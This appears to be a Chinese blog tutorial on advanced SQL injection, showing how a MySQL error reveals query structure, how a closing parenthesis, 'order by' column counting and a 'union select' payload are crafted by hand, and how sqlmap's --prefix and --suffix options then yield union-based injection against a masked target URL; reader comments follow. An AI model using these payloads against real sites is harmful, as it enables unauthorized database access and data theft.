自定义sqlmap注入语句进行高级注入

现在能够帮助我们进行sql注入检测的工具越来越多,但我认为,通用性最强的还是sqlmap,其他工具在灵活性上远远不及sqlmap。sql注入有许多类型,其中最喜欢的当然是能够union查询的,比blind类型的不知道爽到哪里去了。

现在有一个url已知存在sql注入漏洞,我们丢到sqlmap里面,跑一下,结果是这样的

sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p ppid

 

 

sqlmap

很明显,是一些比较恶心的注入类型,bind和error-based,难道我们就只能听工具的了么,我们手动来看一看。sq报错如下

MySQL Error
Message: MySQL Query Error
SQL: select ..... and pass=0 and (c.catid=2\' or c.parentid=2\') and subject like '%%'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or c.parentid=2\') and subject like '%%'' at line 4
Errno.: 1064
Click here to seek help.

报错显示,这里懂sql语句有点复杂并且不是常规懂类型,需要闭合括号还有最好屏蔽掉后面的like语句,构造一下

http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2)  order by 15 -- 
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2)  order by 16 --

order by确认了查出来懂总共16条,那么,继续试试

http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) and 1=2 union% select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --

sqlmap

 

手工确认之后,使用sqlmap来继续进行,我们需要用到sqlmap的两个选项,suffix和prefix,添加以下语句的前缀和后缀。

sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p catid --suffix=" -- " --prefix=")"

sqlmap

 

成功自定义了注入的语句,出现来union类型的注入。

本文标题:自定义sqlmap注入语句进行高级注入
本文链接:https://www.nigesb.com/sqlmap-advanced-skills.html
订阅本站:http://www.nigesb.com/feed
转载请注明来源,如果喜欢本站可以Feed订阅本站。

发表评论?

9 条评论。

  1. 哦呦~ 把sl的例子弄来了~
    我当时直接在浏览器,用union一下把整个页面都填充成用户数据了,然后另存网页哈

  2. 这个牛逼,得好好学学SQL了

  3. 大牛你好,偶然发现这网站不错,网址更是个性的很

  4. 哈喽。牛逼!大神!求指教!

  5. nigesb.com 也是厉害了 正好学学sqlmap。结果看到了你的域名

  6. 抱着学习的态度进来,看到域名感到被羞辱了

发表评论


注意 - 你可以用以下 HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>